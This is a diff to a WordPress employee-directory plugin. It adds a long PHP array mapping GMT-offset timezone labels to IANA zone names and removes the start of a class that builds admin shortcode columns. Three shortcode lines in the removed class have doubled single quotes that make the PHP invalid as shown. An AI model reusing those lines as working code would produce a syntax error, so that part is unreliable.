+		'(GMT-09:00) Gambier Time'                         => 'Pacific/Gambier',
+		'(GMT-09:00) Hawaii-Aleutian Time (Adak)'          => 'America/Adak',
+		'(GMT-08:00) Alaska Time - Anchorage'              => 'America/Anchorage',
+		'(GMT-08:00) Alaska Time - Juneau'                 => 'America/Juneau',
+		'(GMT-08:00) Alaska Time - Metlakatla'             => 'America/Metlakatla',
+		'(GMT-08:00) Alaska Time - Nome'                   => 'America/Nome',
+		'(GMT-08:00) Alaska Time - Sitka'                  => 'America/Sitka',
+		'(GMT-08:00) Alaska Time - Yakutat'                => 'America/Yakutat',
+		'(GMT-08:00) Pitcairn Time'                        => 'Pacific/Pitcairn',
+		'(GMT-07:00) Mexican Pacific Standard Time'        => 'America/Hermosillo',
+		'(GMT-07:00) Mountain Standard Time - Creston'     => 'America/Creston',
+		'(GMT-07:00) Mountain Standard Time - Dawson'      => 'America/Dawson',
+		'(GMT-07:00) Mountain Standard Time - Dawson Creek' => 'America/Dawson_Creek',
+		'(GMT-07:00) Mountain Standard Time - Fort Nelson' => 'America/Fort_Nelson',
+		'(GMT-07:00) Mountain Standard Time - Phoenix'     => 'America/Phoenix',
+		'(GMT-07:00) Mountain Standard Time - Whitehorse'  => 'America/Whitehorse',
+		'(GMT-07:00) Pacific Time - Los Angeles'           => 'America/Los_Angeles',
+		'(GMT-07:00) Pacific Time - Tijuana'               => 'America/Tijuana',
+		'(GMT-07:00) Pacific Time - Vancouver'             => 'America/Vancouver',
+		'(GMT-06:00) Central Standard Time - Belize'       => 'America/Belize',
+		'(GMT-06:00) Central Standard Time - Costa Rica'   => 'America/Costa_Rica',
+		'(GMT-06:00) Central Standard Time - El Salvador'  => 'America/El_Salvador',
+		'(GMT-06:00) Central Standard Time - Guatemala'    => 'America/Guatemala',
+		'(GMT-06:00) Central Standard Time - Managua'      => 'America/Managua',
+		'(GMT-06:00) Central Standard Time - Regina'       => 'America/Regina',
+		'(GMT-06:00) Central Standard Time - Swift Current' => 'America/Swift_Current',
+		'(GMT-06:00) Central Standard Time - Tegucigalpa'  => 'America/Tegucigalpa',
+		'(GMT-06:00) Easter Island Time'                   => 'Pacific/Easter',
+		'(GMT-06:00) Galapagos Time'                       => 'Pacific/Galapagos',
+		'(GMT-06:00) Mexican Pacific Time - Chihuahua'     => 'America/Chihuahua',
+		'(GMT-06:00) Mexican Pacific Time - Mazatlan'      => 'America/Mazatlan',
+		'(GMT-06:00) Mountain Time - Boise'                => 'America/Boise',
+		'(GMT-06:00) Mountain Time - Cambridge Bay'        => 'America/Cambridge_Bay',
+		'(GMT-06:00) Mountain Time - Denver'               => 'America/Denver',
+		'(GMT-06:00) Mountain Time - Edmonton'             => 'America/Edmonton',
+		'(GMT-06:00) Mountain Time - Inuvik'               => 'America/Inuvik',
+		'(GMT-06:00) Mountain Time - Ojinaga'              => 'America/Ojinaga',
+		'(GMT-06:00) Mountain Time - Yellowknife'          => 'America/Yellowknife',
+		'(GMT-05:00) Acre Standard Time - Eirunepe'        => 'America/Eirunepe',
+		'(GMT-05:00) Acre Standard Time - Rio Branco'      => 'America/Rio_Branco',
+		'(GMT-05:00) Central Time - Bahia Banderas'        => 'America/Bahia_Banderas',
+		'(GMT-05:00) Central Time - Beulah, North Dakota'  => 'America/North_Dakota/Beulah',
+		'(GMT-05:00) Central Time - Center, North Dakota'  => 'America/North_Dakota/Center',
+		'(GMT-05:00) Central Time - Chicago'               => 'America/Chicago',
+		'(GMT-05:00) Central Time - Knox, Indiana'         => 'America/Indiana/Knox',
+		'(GMT-05:00) Central Time - Matamoros'             => 'America/Matamoros',
+		'(GMT-05:00) Central Time - Menominee'             => 'America/Menominee',
+		'(GMT-05:00) Central Time - Merida'                => 'America/Merida',
+		'(GMT-05:00) Central Time - Mexico City'           => 'America/Mexico_City',
+		'(GMT-05:00) Central Time - Monterrey'             => 'America/Monterrey',
+		'(GMT-05:00) Central Time - New Salem, North Dakota' => 'America/North_Dakota/New_Salem',
+		'(GMT-05:00) Central Time - Rainy River'           => 'America/Rainy_River',
+		'(GMT-05:00) Central Time - Rankin Inlet'          => 'America/Rankin_Inlet',
+		'(GMT-05:00) Central Time - Resolute'              => 'America/Resolute',
+		'(GMT-05:00) Central Time - Tell City, Indiana'    => 'America/Indiana/Tell_City',
+		'(GMT-05:00) Central Time - Winnipeg'              => 'America/Winnipeg',
+		'(GMT-05:00) Colombia Standard Time'               => 'America/Bogota',
+		'(GMT-05:00) Eastern Standard Time - Atikokan'     => 'America/Atikokan',
+		'(GMT-05:00) Eastern Standard Time - Cancun'       => 'America/Cancun',
+		'(GMT-05:00) Eastern Standard Time - Jamaica'      => 'America/Jamaica',
+		'(GMT-05:00) Eastern Standard Time - Panama'       => 'America/Panama',
+		'(GMT-05:00) Ecuador Time'                         => 'America/Guayaquil',
+		'(GMT-05:00) Peru Standard Time'                   => 'America/Lima',
+		'(GMT-04:00) Amazon Standard Time - Boa Vista'     => 'America/Boa_Vista',
+		'(GMT-04:00) Amazon Standard Time - Campo Grande'  => 'America/Campo_Grande',
+		'(GMT-04:00) Amazon Standard Time - Cuiaba'        => 'America/Cuiaba',
+		'(GMT-04:00) Amazon Standard Time - Manaus'        => 'America/Manaus',
+		'(GMT-04:00) Amazon Standard Time - Porto Velho'   => 'America/Porto_Velho',
+		'(GMT-04:00) Atlantic Standard Time - Barbados'    => 'America/Barbados',
+		'(GMT-04:00) Atlantic Standard Time - Blanc-Sablon' => 'America/Blanc-Sablon',
+		'(GMT-04:00) Atlantic Standard Time - Curaçao'     => 'America/Curacao',
+		'(GMT-04:00) Atlantic Standard Time - Martinique'  => 'America/Martinique',
+		'(GMT-04:00) Atlantic Standard Time - Port of Spain' => 'America/Port_of_Spain',
+		'(GMT-04:00) Atlantic Standard Time - Puerto Rico' => 'America/Puerto_Rico',
+		'(GMT-04:00) Atlantic Standard Time - Santo Domingo' => 'America/Santo_Domingo',
+		'(GMT-04:00) Bolivia Time'                         => 'America/La_Paz',
+		'(GMT-04:00) Chile Time'                           => 'America/Santiago',
+		'(GMT-04:00) Cuba Time'                            => 'America/Havana',
+		'(GMT-04:00) Eastern Time - Detroit'               => 'America/Detroit',
+		'(GMT-04:00) Eastern Time - Grand Turk'            => 'America/Grand_Turk',
+		'(GMT-04:00) Eastern Time - Indianapolis'          => 'America/Indiana/Indianapolis',
+		'(GMT-04:00) Eastern Time - Iqaluit'               => 'America/Iqaluit',
+		'(GMT-04:00) Eastern Time - Louisville'            => 'America/Kentucky/Louisville',
+		'(GMT-04:00) Eastern Time - Marengo, Indiana'      => 'America/Indiana/Marengo',
+		'(GMT-04:00) Eastern Time - Monticello, Kentucky'  => 'America/Kentucky/Monticello',
+		'(GMT-04:00) Eastern Time - Nassau'                => 'America/Nassau',
+		'(GMT-04:00) Eastern Time - New York'              => 'America/New_York',
+		'(GMT-04:00) Eastern Time - Nipigon'               => 'America/Nipigon',
+		'(GMT-04:00) Eastern Time - Pangnirtung'           => 'America/Pangnirtung',
+		'(GMT-04:00) Eastern Time - Petersburg, Indiana'   => 'America/Indiana/Petersburg',
+		'(GMT-04:00) Eastern Time - Port-au-Prince'        => 'America/Port-au-Prince',
+		'(GMT-04:00) Eastern Time - Thunder Bay'           => 'America/Thunder_Bay',
+		'(GMT-04:00) Eastern Time - Toronto'               => 'America/Toronto',
+		'(GMT-04:00) Eastern Time - Vevay, Indiana'        => 'America/Indiana/Vevay',
+		'(GMT-04:00) Eastern Time - Vincennes, Indiana'    => 'America/Indiana/Vincennes',
+		'(GMT-04:00) Eastern Time - Winamac, Indiana'      => 'America/Indiana/Winamac',
+		'(GMT-04:00) Guyana Time'                          => 'America/Guyana',
+		'(GMT-04:00) Paraguay Time'                        => 'America/Asuncion',
+		'(GMT-04:00) Venezuela Time'                       => 'America/Caracas',
+		'(GMT-03:00) Argentina Standard Time - Buenos Aires' => 'America/Argentina/Buenos_Aires',
+		'(GMT-03:00) Argentina Standard Time - Catamarca'  => 'America/Argentina/Catamarca',
+		'(GMT-03:00) Argentina Standard Time - Cordoba'    => 'America/Argentina/Cordoba',
+		'(GMT-03:00) Argentina Standard Time - Jujuy'      => 'America/Argentina/Jujuy',
+		'(GMT-03:00) Argentina Standard Time - La Rioja'   => 'America/Argentina/La_Rioja',
+		'(GMT-03:00) Argentina Standard Time - Mendoza'    => 'America/Argentina/Mendoza',
+		'(GMT-03:00) Argentina Standard Time - Rio Gallegos' => 'America/Argentina/Rio_Gallegos',
+		'(GMT-03:00) Argentina Standard Time - Salta'      => 'America/Argentina/Salta',
+		'(GMT-03:00) Argentina Standard Time - San Juan'   => 'America/Argentina/San_Juan',
+		'(GMT-03:00) Argentina Standard Time - San Luis'   => 'America/Argentina/San_Luis',
+		'(GMT-03:00) Argentina Standard Time - Tucuman'    => 'America/Argentina/Tucuman',
+		'(GMT-03:00) Argentina Standard Time - Ushuaia'    => 'America/Argentina/Ushuaia',
+		'(GMT-03:00) Atlantic Time - Bermuda'              => 'Atlantic/Bermuda',
+		'(GMT-03:00) Atlantic Time - Glace Bay'            => 'America/Glace_Bay',
+		'(GMT-03:00) Atlantic Time - Goose Bay'            => 'America/Goose_Bay',
+		'(GMT-03:00) Atlantic Time - Halifax'              => 'America/Halifax',
+		'(GMT-03:00) Atlantic Time - Moncton'              => 'America/Moncton',
+		'(GMT-03:00) Atlantic Time - Thule'                => 'America/Thule',
+		'(GMT-03:00) Brasilia Standard Time - Araguaina'   => 'America/Araguaina',
+		'(GMT-03:00) Brasilia Standard Time - Bahia'       => 'America/Bahia',
+		'(GMT-03:00) Brasilia Standard Time - Belem'       => 'America/Belem',
+		'(GMT-03:00) Brasilia Standard Time - Fortaleza'   => 'America/Fortaleza',
+		'(GMT-03:00) Brasilia Standard Time - Maceio'      => 'America/Maceio',
+		'(GMT-03:00) Brasilia Standard Time - Recife'      => 'America/Recife',
+		'(GMT-03:00) Brasilia Standard Time - Santarem'    => 'America/Santarem',
+		'(GMT-03:00) Brasilia Standard Time - Sao Paulo'   => 'America/Sao_Paulo',
+		'(GMT-03:00) Chile Time'                           => 'America/Santiago',
+		'(GMT-03:00) Falkland Islands Standard Time'       => 'Atlantic/Stanley',
+		'(GMT-03:00) French Guiana Time'                   => 'America/Cayenne',
+		'(GMT-03:00) Palmer Time'                          => 'Antarctica/Palmer',
+		'(GMT-03:00) Punta Arenas Time'                    => 'America/Punta_Arenas',
+		'(GMT-03:00) Rothera Time'                         => 'Antarctica/Rothera',
+		'(GMT-03:00) Suriname Time'                        => 'America/Paramaribo',
+		'(GMT-03:00) Uruguay Standard Time'                => 'America/Montevideo',
+		'(GMT-02:30) Newfoundland Time'                    => 'America/St_Johns',
+		'(GMT-02:00) Fernando de Noronha Standard Time'    => 'America/Noronha',
+		'(GMT-02:00) South Georgia Time'                   => 'Atlantic/South_Georgia',
+		'(GMT-02:00) St. Pierre & Miquelon Time'           => 'America/Miquelon',
+		'(GMT-02:00) West Greenland Time'                  => 'America/Nuuk',
+		'(GMT-01:00) Cape Verde Standard Time'             => 'Atlantic/Cape_Verde',
+		'(GMT+00:00) Azores Time'                          => 'Atlantic/Azores',
+		'(GMT+00:00) Coordinated Universal Time'           => 'UTC',
+		'(GMT+00:00) East Greenland Time'                  => 'America/Scoresbysund',
+		'(GMT+00:00) Greenwich Mean Time'                  => 'Etc/GMT',
+		'(GMT+00:00) Greenwich Mean Time - Abidjan'        => 'Africa/Abidjan',
+		'(GMT+00:00) Greenwich Mean Time - Accra'          => 'Africa/Accra',
+		'(GMT+00:00) Greenwich Mean Time - Bissau'         => 'Africa/Bissau',
+		'(GMT+00:00) Greenwich Mean Time - Danmarkshavn'   => 'America/Danmarkshavn',
+		'(GMT+00:00) Greenwich Mean Time - Monrovia'       => 'Africa/Monrovia',
+		'(GMT+00:00) Greenwich Mean Time - Reykjavik'      => 'Atlantic/Reykjavik',
+		'(GMT+00:00) Greenwich Mean Time - São Tomé'       => 'Africa/Sao_Tome',
+		'(GMT+01:00) Central European Standard Time - Algiers' => 'Africa/Algiers',
+		'(GMT+01:00) Central European Standard Time - Tunis' => 'Africa/Tunis',
+		'(GMT+01:00) Ireland Time'                         => 'Europe/Dublin',
+		'(GMT+01:00) Morocco Time'                         => 'Africa/Casablanca',
+		'(GMT+01:00) United Kingdom Time'                  => 'Europe/London',
+		'(GMT+01:00) West Africa Standard Time - Lagos'    => 'Africa/Lagos',
+		'(GMT+01:00) West Africa Standard Time - Ndjamena' => 'Africa/Ndjamena',
+		'(GMT+01:00) Western European Time - Canary'       => 'Atlantic/Canary',
+		'(GMT+01:00) Western European Time - Faroe'        => 'Atlantic/Faroe',
+		'(GMT+01:00) Western European Time - Lisbon'       => 'Europe/Lisbon',
+		'(GMT+01:00) Western European Time - Madeira'      => 'Atlantic/Madeira',
+		'(GMT+01:00) Western Sahara Time'                  => 'Africa/El_Aaiun',
+		'(GMT+02:00) Central Africa Time - Khartoum'       => 'Africa/Khartoum',
+		'(GMT+02:00) Central Africa Time - Maputo'         => 'Africa/Maputo',
+		'(GMT+02:00) Central Africa Time - Windhoek'       => 'Africa/Windhoek',
+		'(GMT+02:00) Central European Time - Amsterdam'    => 'Europe/Amsterdam',
+		'(GMT+02:00) Central European Time - Andorra'      => 'Europe/Andorra',
+		'(GMT+02:00) Central European Time - Belgrade'     => 'Europe/Belgrade',
+		'(GMT+02:00) Central European Time - Berlin'       => 'Europe/Berlin',
+		'(GMT+02:00) Central European Time - Brussels'     => 'Europe/Brussels',
+		'(GMT+02:00) Central European Time - Budapest'     => 'Europe/Budapest',
+		'(GMT+02:00) Central European Time - Ceuta'        => 'Africa/Ceuta',
+		'(GMT+02:00) Central European Time - Copenhagen'   => 'Europe/Copenhagen',
+		'(GMT+02:00) Central European Time - Gibraltar'    => 'Europe/Gibraltar',
+		'(GMT+02:00) Central European Time - Luxembourg'   => 'Europe/Luxembourg',
+		'(GMT+02:00) Central European Time - Madrid'       => 'Europe/Madrid',
+		'(GMT+02:00) Central European Time - Malta'        => 'Europe/Malta',
+		'(GMT+02:00) Central European Time - Monaco'       => 'Europe/Monaco',
+		'(GMT+02:00) Central European Time - Oslo'         => 'Europe/Oslo',
+		'(GMT+02:00) Central European Time - Paris'        => 'Europe/Paris',
+		'(GMT+02:00) Central European Time - Prague'       => 'Europe/Prague',
+		'(GMT+02:00) Central European Time - Rome'         => 'Europe/Rome',
+		'(GMT+02:00) Central European Time - Stockholm'    => 'Europe/Stockholm',
+		'(GMT+02:00) Central European Time - Tirane'       => 'Europe/Tirane',
+		'(GMT+02:00) Central European Time - Vienna'       => 'Europe/Vienna',
+		'(GMT+02:00) Central European Time - Warsaw'       => 'Europe/Warsaw',
+		'(GMT+02:00) Central European Time - Zurich'       => 'Europe/Zurich',
+		'(GMT+02:00) Eastern European Standard Time - Cairo' => 'Africa/Cairo',
+		'(GMT+02:00) Eastern European Standard Time - Kaliningrad' => 'Europe/Kaliningrad',
+		'(GMT+02:00) Eastern European Standard Time - Tripoli' => 'Africa/Tripoli',
+		'(GMT+02:00) South Africa Standard Time'           => 'Africa/Johannesburg',
+		'(GMT+02:00) Troll Time'                           => 'Antarctica/Troll',
+		'(GMT+03:00) Arabian Standard Time - Baghdad'      => 'Asia/Baghdad',
+		'(GMT+03:00) Arabian Standard Time - Qatar'        => 'Asia/Qatar',
+		'(GMT+03:00) Arabian Standard Time - Riyadh'       => 'Asia/Riyadh',
+		'(GMT+03:00) East Africa Time - Juba'              => 'Africa/Juba',
+		'(GMT+03:00) East Africa Time - Nairobi'           => 'Africa/Nairobi',
+		'(GMT+03:00) Eastern European Time - Amman'        => 'Asia/Amman',
+		'(GMT+03:00) Eastern European Time - Athens'       => 'Europe/Athens',
+		'(GMT+03:00) Eastern European Time - Beirut'       => 'Asia/Beirut',
+		'(GMT+03:00) Eastern European Time - Bucharest'    => 'Europe/Bucharest',
+		'(GMT+03:00) Eastern European Time - Chisinau'     => 'Europe/Chisinau',
+		'(GMT+03:00) Eastern European Time - Damascus'     => 'Asia/Damascus',
+		'(GMT+03:00) Eastern European Time - Gaza'         => 'Asia/Gaza',
+		'(GMT+03:00) Eastern European Time - Hebron'       => 'Asia/Hebron',
+		'(GMT+03:00) Eastern European Time - Helsinki'     => 'Europe/Helsinki',
+		'(GMT+03:00) Eastern European Time - Kiev'         => 'Europe/Kiev',
+		'(GMT+03:00) Eastern European Time - Nicosia'      => 'Asia/Nicosia',
+		'(GMT+03:00) Eastern European Time - Riga'         => 'Europe/Riga',
+		'(GMT+03:00) Eastern European Time - Sofia'        => 'Europe/Sofia',
+		'(GMT+03:00) Eastern European Time - Tallinn'      => 'Europe/Tallinn',
+		'(GMT+03:00) Eastern European Time - Uzhhorod'     => 'Europe/Uzhgorod',
+		'(GMT+03:00) Eastern European Time - Vilnius'      => 'Europe/Vilnius',
+		'(GMT+03:00) Eastern European Time - Zaporozhye'   => 'Europe/Zaporozhye',
+		'(GMT+03:00) Famagusta Time'                       => 'Asia/Famagusta',
+		'(GMT+03:00) Israel Time'                          => 'Asia/Jerusalem',
+		'(GMT+03:00) Kirov Time'                           => 'Europe/Kirov',
+		'(GMT+03:00) Moscow Standard Time - Minsk'         => 'Europe/Minsk',
+		'(GMT+03:00) Moscow Standard Time - Moscow'        => 'Europe/Moscow',
+		'(GMT+03:00) Moscow Standard Time - Simferopol'    => 'Europe/Simferopol',
+		'(GMT+03:00) Syowa Time'                           => 'Antarctica/Syowa',
+		'(GMT+03:00) Turkey Time'                          => 'Europe/Istanbul',
+		'(GMT+04:00) Armenia Standard Time'                => 'Asia/Yerevan',
+		'(GMT+04:00) Astrakhan Time'                       => 'Europe/Astrakhan',
+		'(GMT+04:00) Azerbaijan Standard Time'             => 'Asia/Baku',
+		'(GMT+04:00) Georgia Standard Time'                => 'Asia/Tbilisi',
+		'(GMT+04:00) Gulf Standard Time'                   => 'Asia/Dubai',
+		'(GMT+04:00) Mauritius Standard Time'              => 'Indian/Mauritius',
+		'(GMT+04:00) Réunion Time'                         => 'Indian/Reunion',
+		'(GMT+04:00) Samara Standard Time'                 => 'Europe/Samara',
+		'(GMT+04:00) Saratov Time'                         => 'Europe/Saratov',
+		'(GMT+04:00) Seychelles Time'                      => 'Indian/Mahe',
+		'(GMT+04:00) Ulyanovsk Time'                       => 'Europe/Ulyanovsk',
+		'(GMT+04:00) Volgograd Standard Time'              => 'Europe/Volgograd',
+		'(GMT+04:30) Afghanistan Time'                     => 'Asia/Kabul',
+		'(GMT+04:30) Iran Time'                            => 'Asia/Tehran',
+		'(GMT+05:00) French Southern & Antarctic Time'     => 'Indian/Kerguelen',
+		'(GMT+05:00) Maldives Time'                        => 'Indian/Maldives',
+		'(GMT+05:00) Mawson Time'                          => 'Antarctica/Mawson',
+		'(GMT+05:00) Pakistan Standard Time'               => 'Asia/Karachi',
+		'(GMT+05:00) Tajikistan Time'                      => 'Asia/Dushanbe',
+		'(GMT+05:00) Turkmenistan Standard Time'           => 'Asia/Ashgabat',
+		'(GMT+05:00) Uzbekistan Standard Time - Samarkand' => 'Asia/Samarkand',
+		'(GMT+05:00) Uzbekistan Standard Time - Tashkent'  => 'Asia/Tashkent',
+		'(GMT+05:00) West Kazakhstan Time - Aqtau'         => 'Asia/Aqtau',
+		'(GMT+05:00) West Kazakhstan Time - Aqtobe'        => 'Asia/Aqtobe',
+		'(GMT+05:00) West Kazakhstan Time - Atyrau'        => 'Asia/Atyrau',
+		'(GMT+05:00) West Kazakhstan Time - Oral'          => 'Asia/Oral',
+		'(GMT+05:00) West Kazakhstan Time - Qyzylorda'     => 'Asia/Qyzylorda',
+		'(GMT+05:00) Yekaterinburg Standard Time'          => 'Asia/Yekaterinburg',
+		'(GMT+05:30) Indian Standard Time - Colombo'       => 'Asia/Colombo',
+		'(GMT+05:30) Indian Standard Time - Kolkata'       => 'Asia/Kolkata',
+		'(GMT+05:45) Nepal Time'                           => 'Asia/Kathmandu',
+		'(GMT+06:00) Bangladesh Standard Time'             => 'Asia/Dhaka',
+		'(GMT+06:00) Bhutan Time'                          => 'Asia/Thimphu',
+		'(GMT+06:00) East Kazakhstan Time - Almaty'        => 'Asia/Almaty',
+		'(GMT+06:00) East Kazakhstan Time - Kostanay'      => 'Asia/Qostanay',
+		'(GMT+06:00) Indian Ocean Time'                    => 'Indian/Chagos',
+		'(GMT+06:00) Kyrgyzstan Time'                      => 'Asia/Bishkek',
+		'(GMT+06:00) Omsk Standard Time'                   => 'Asia/Omsk',
+		'(GMT+06:00) Urumqi Time'                          => 'Asia/Urumqi',
+		'(GMT+06:00) Vostok Time'                          => 'Antarctica/Vostok',
+		'(GMT+06:30) Cocos Islands Time'                   => 'Indian/Cocos',
+		'(GMT+06:30) Myanmar Time'                         => 'Asia/Yangon',
+		'(GMT+07:00) Barnaul Time'                         => 'Asia/Barnaul',
+		'(GMT+07:00) Christmas Island Time'                => 'Indian/Christmas',
+		'(GMT+07:00) Davis Time'                           => 'Antarctica/Davis',
+		'(GMT+07:00) Hovd Standard Time'                   => 'Asia/Hovd',
+		'(GMT+07:00) Indochina Time - Bangkok'             => 'Asia/Bangkok',
+		'(GMT+07:00) Indochina Time - Ho Chi Minh City'    => 'Asia/Ho_Chi_Minh',
+		'(GMT+07:00) Krasnoyarsk Standard Time - Krasnoyarsk' => 'Asia/Krasnoyarsk',
+		'(GMT+07:00) Krasnoyarsk Standard Time - Novokuznetsk' => 'Asia/Novokuznetsk',
+		'(GMT+07:00) Novosibirsk Standard Time'            => 'Asia/Novosibirsk',
+		'(GMT+07:00) Tomsk Time'                           => 'Asia/Tomsk',
+		'(GMT+07:00) Western Indonesia Time - Jakarta'     => 'Asia/Jakarta',
+		'(GMT+07:00) Western Indonesia Time - Pontianak'   => 'Asia/Pontianak',
+		'(GMT+08:00) Australian Western Standard Time - Casey' => 'Antarctica/Casey',
+		'(GMT+08:00) Australian Western Standard Time - Perth' => 'Australia/Perth',
+		'(GMT+08:00) Brunei Darussalam Time'               => 'Asia/Brunei',
+		'(GMT+08:00) Central Indonesia Time'               => 'Asia/Makassar',
+		'(GMT+08:00) China Standard Time - Macao'          => 'Asia/Macau',
+		'(GMT+08:00) China Standard Time - Shanghai'       => 'Asia/Shanghai',
+		'(GMT+08:00) Hong Kong Standard Time'              => 'Asia/Hong_Kong',
+		'(GMT+08:00) Irkutsk Standard Time'                => 'Asia/Irkutsk',
+		'(GMT+08:00) Malaysia Time - Kuala Lumpur'         => 'Asia/Kuala_Lumpur',
+		'(GMT+08:00) Malaysia Time - Kuching'              => 'Asia/Kuching',
+		'(GMT+08:00) Philippine Standard Time'             => 'Asia/Manila',
+		'(GMT+08:00) Singapore Standard Time'              => 'Asia/Singapore',
+		'(GMT+08:00) Taipei Standard Time'                 => 'Asia/Taipei',
+		'(GMT+08:00) Ulaanbaatar Standard Time - Choibalsan' => 'Asia/Choibalsan',
+		'(GMT+08:00) Ulaanbaatar Standard Time - Ulaanbaatar' => 'Asia/Ulaanbaatar',
+		'(GMT+08:45) Australian Central Western Standard Time' => 'Australia/Eucla',
+		'(GMT+09:00) East Timor Time'                      => 'Asia/Dili',
+		'(GMT+09:00) Eastern Indonesia Time'               => 'Asia/Jayapura',
+		'(GMT+09:00) Japan Standard Time'                  => 'Asia/Tokyo',
+		'(GMT+09:00) Korean Standard Time - Pyongyang'     => 'Asia/Pyongyang',
+		'(GMT+09:00) Korean Standard Time - Seoul'         => 'Asia/Seoul',
+		'(GMT+09:00) Palau Time'                           => 'Pacific/Palau',
+		'(GMT+09:00) Yakutsk Standard Time - Chita'        => 'Asia/Chita',
+		'(GMT+09:00) Yakutsk Standard Time - Khandyga'     => 'Asia/Khandyga',
+		'(GMT+09:00) Yakutsk Standard Time - Yakutsk'      => 'Asia/Yakutsk',
+		'(GMT+09:30) Australian Central Standard Time'     => 'Australia/Darwin',
+		'(GMT+09:30) Central Australia Time - Adelaide'    => 'Australia/Adelaide',
+		'(GMT+09:30) Central Australia Time - Broken Hill' => 'Australia/Broken_Hill',
+		'(GMT+10:00) Australian Eastern Standard Time - Brisbane' => 'Australia/Brisbane',
+		'(GMT+10:00) Australian Eastern Standard Time - Lindeman' => 'Australia/Lindeman',
+		'(GMT+10:00) Chamorro Standard Time'               => 'Pacific/Guam',
+		'(GMT+10:00) Chuuk Time'                           => 'Pacific/Chuuk',
+		'(GMT+10:00) Dumont-d’Urville Time'                => 'Antarctica/DumontDUrville',
+		'(GMT+10:00) Eastern Australia Time - Currie'      => 'Australia/Currie',
+		'(GMT+10:00) Eastern Australia Time - Hobart'      => 'Australia/Hobart',
+		'(GMT+10:00) Eastern Australia Time - Melbourne'   => 'Australia/Melbourne',
+		'(GMT+10:00) Eastern Australia Time - Sydney'      => 'Australia/Sydney',
+		'(GMT+10:00) Papua New Guinea Time'                => 'Pacific/Port_Moresby',
+		'(GMT+10:00) Vladivostok Standard Time - Ust-Nera' => 'Asia/Ust-Nera',
+		'(GMT+10:00) Vladivostok Standard Time - Vladivostok' => 'Asia/Vladivostok',
+		'(GMT+10:30) Lord Howe Time'                       => 'Australia/Lord_Howe',
+		'(GMT+11:00) Bougainville Time'                    => 'Pacific/Bougainville',
+		'(GMT+11:00) Kosrae Time'                          => 'Pacific/Kosrae',
+		'(GMT+11:00) Macquarie Island Time'                => 'Antarctica/Macquarie',
+		'(GMT+11:00) Magadan Standard Time'                => 'Asia/Magadan',
+		'(GMT+11:00) New Caledonia Standard Time'          => 'Pacific/Noumea',
+		'(GMT+11:00) Norfolk Island Time'                  => 'Pacific/Norfolk',
+		'(GMT+11:00) Ponape Time'                          => 'Pacific/Pohnpei',
+		'(GMT+11:00) Sakhalin Standard Time'               => 'Asia/Sakhalin',
+		'(GMT+11:00) Solomon Islands Time'                 => 'Pacific/Guadalcanal',
+		'(GMT+11:00) Srednekolymsk Time'                   => 'Asia/Srednekolymsk',
+		'(GMT+11:00) Vanuatu Standard Time'                => 'Pacific/Efate',
+		'(GMT+12:00) Anadyr Standard Time'                 => 'Asia/Anadyr',
+		'(GMT+12:00) Fiji Time'                            => 'Pacific/Fiji',
+		'(GMT+12:00) Gilbert Islands Time'                 => 'Pacific/Tarawa',
+		'(GMT+12:00) Marshall Islands Time - Kwajalein'    => 'Pacific/Kwajalein',
+		'(GMT+12:00) Marshall Islands Time - Majuro'       => 'Pacific/Majuro',
+		'(GMT+12:00) Nauru Time'                           => 'Pacific/Nauru',
+		'(GMT+12:00) New Zealand Time'                     => 'Pacific/Auckland',
+		'(GMT+12:00) Petropavlovsk-Kamchatski Standard Time' => 'Asia/Kamchatka',
+		'(GMT+12:00) Tuvalu Time'                          => 'Pacific/Funafuti',
+		'(GMT+12:00) Wake Island Time'                     => 'Pacific/Wake',
+		'(GMT+12:00) Wallis & Futuna Time'                 => 'Pacific/Wallis',
+		'(GMT+12:45) Chatham Time'                         => 'Pacific/Chatham',
+		'(GMT+13:00) Apia Time'                            => 'Pacific/Apia',
+		'(GMT+13:00) Phoenix Islands Time'                 => 'Pacific/Enderbury',
+		'(GMT+13:00) Tokelau Time'                         => 'Pacific/Fakaofo',
+		'(GMT+13:00) Tonga Standard Time'                  => 'Pacific/Tongatapu',
+		'(GMT+14:00) Line Islands Time'                    => 'Pacific/Kiritimati',
+	);
+}
--- a/employee-staff-directory/handler/mo-empdir-column_handler.php
+++ b/employee-staff-directory/handler/mo-empdir-column_handler.php
@@ -1,149 +1,147 @@
-<?php
-class MOESD_column_handler
-{
-    function __construct()
-    {
-
-        add_action('manage_employee-directory_posts_custom_column', array($this,'mo_empdir_custom_column_views'),5,2);
-        add_filter( "manage_employee-directory_posts_columns", array($this,'mo_empdir_posts_column_views'));
-
-        add_filter('manage_edit-employee-directory-department_columns', array($this,'mo_empdir_dept_column_views'),10);
-        add_action( "manage_employee-directory-department_custom_column", array($this,'shortcode_dept_column_content'), 10, 3);
-
-        add_filter('manage_edit-employee-directory-gender_columns', array($this,'mo_empdir_dept_column_views'),10);
-        add_action( "manage_employee-directory-gender_custom_column", array($this,'shortcode_gender_column_content'), 10, 3);
-
-        add_filter('manage_edit-employee-directory-etype_columns', array($this,'mo_empdir_dept_column_views'),10);
-        add_action( "manage_employee-directory-etype_custom_column", array($this,'shortcode_etype_column_content'), 10, 3);
-    }
-
-    function mo_empdir_dept_column_views($column_name) {
-        $column_name['shortcode'] =__('Shortcode<div class="prem-icn nameid-prem-img sso-btn-prem-img empdir_col_name" ><img src="'. plugin_dir_url(__DIR__) .'assets/img/crown.png" width="30px">
-                    </div>');
-        return $column_name;
-    }
-
-    function shortcode_dept_column_content($content,$column_name,$term_id){
-        $term= get_term($term_id, 'employee-directory-department');
-
-        switch ($column_name) {
-            case 'shortcode':
-                //do your stuff here with $term or $term_id
-                $content = '<input disabled style="width:100%" type="text" value="[Emp department=''.$term->slug.'']" />';
-                break;
-            default:
-                break;
-        }
-        return $content;
-    }
-
-    function shortcode_gender_column_content($content,$column_name,$term_id){
-        $term= get_term($term_id, 'employee-directory-gender');
-
-        switch ($column_name) {
-            case 'shortcode':
-                //do your stuff here with $term or $term_id
-                $content = '<input disabled style="width:100%" type="text" value="[Emp gender=''.$term->slug.'']" />';
-                break;
-            default:
-                break;
-        }
-        return $content;
-    }
-
-    function shortcode_etype_column_content($content,$column_name,$term_id){
-        $term= get_term($term_id, 'employee-directory-etype');
-
-        switch ($column_name) {
-            case 'shortcode':
-                //do your stuff here with $term or $term_id
-                $content = '<input disabled style="width:100%" type="text" value="[Emp etype=''.$term->slug.'']" />';
-                break;
-            default:
-                break;
-        }
-        return $content;
-    }
-
-    function mo_empdir_posts_column_views($defaults) {
-        unset($defaults['taxonomy-employee-directory-gender']);
-        unset($defaults['taxonomy-employee-directory-department']);
-        unset($defaults['taxonomy-employee-directory-etype']);
